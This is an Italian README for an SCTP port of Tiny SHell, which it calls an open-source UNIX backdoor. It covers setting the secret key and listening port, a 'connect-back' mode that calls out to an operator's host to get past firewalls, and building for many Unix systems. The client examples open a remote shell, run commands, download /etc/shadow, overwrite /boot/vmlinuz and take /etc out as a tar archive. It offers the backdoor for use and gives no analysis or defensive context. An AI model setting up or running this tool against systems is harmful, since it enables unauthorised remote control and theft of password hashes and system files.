
Porting di TinySHell su SCTP
Tiny SHell - Una backdoor UNIX open-source
* Prima di compilare Tiny SHell
1. Prima di tutto, imposta la tua chiave segreta, che
si trova in tsh.h; la chiave può avere qualsiasi lunghezza (usa
almeno 12 caratteri per una maggiore sicurezza).
2. Si consiglia di cambiare SERVER_PORT, la porta su cui
il server rimarrà in ascolto per le connessioni in arrivo.
3. Potresti voler avviare tshd in modalità "connect-back" se
viene eseguito su un sistema protetto da firewall; basta decommentare e
modificare CONNECT_BACK_HOST in tsh.h.
* Compilazione di Tiny SHell
Esegui "make <sistema>", dove <sistema> può essere uno qualsiasi tra:
linux, freebsd, openbsd, netbsd, cygwin, sunos, irix, hpux, osf
* Come usare il server
Può essere utile impostare $HOME e la maschera di creazione dei file
prima di avviare il server:
% umask 077; HOME=/var/tmp ./tshd
* Come usare il client
Assicurati che tshd sia in esecuzione sull'host remoto. Puoi:
- avviare una shell:
./tsh <nomehost>
- eseguire un comando:
./tsh <nomehost> "uname -a"
- trasferire file:
./tsh <nomehost> get /etc/shadow .
./tsh <nomehost> put vmlinuz /boot
Nota: se il server è in modalità connect-back, sostituisci
il nome host della macchina remota con "cb".
* Trasferimenti di file multipli
Al momento, Tiny SHell non supporta trasferimenti di file multipli
e/o ricorsivi in stile scp. Puoi aggirare questo problema
creando un archivio tar e trasferendolo. Esempio:
./tsh host "stty raw; tar -cf - /etc 2>/dev/null" | tar -xvf -
* Modalità terminale
Su alcuni sistemi "limitati" (nello specifico, IRIX e HP-UX), Ctrl-C
e altri tasti di controllo non funzionano correttamente. Risolvi con:
% stty intr "^C" erase "^H" eof "^D" susp "^Z" kill "^U"
* Informazioni sulla sicurezza
Ricorda che la chiave segreta è memorizzata in chiaro sia
negli eseguibili tsh che tshd; pertanto assicurati che
nessuno tranne te abbia accesso in lettura a questi due file.
Tuttavia, puoi scegliere di non memorizzare la chiave reale (valida) nel
client, che ti chiederà quindi una password all'avvio.
* Note sulla versione SCTP:
Solo testata su Archlinux finora, aspettati che fallisca miseramente
su qualsiasi altra cosa.
È un hack abbastanza brutto, ha alcuni errori di compilazione che ho intenzione di
rintracciare e correggere prima o poi.
La sicurezza del file backdoor (tsh) - cioè la password in
chiaro - sarà sistemata a breve memorizzando solo una password hashata.
Test su hpux, *bsd, ecc. quando avrò accesso a tali macchine.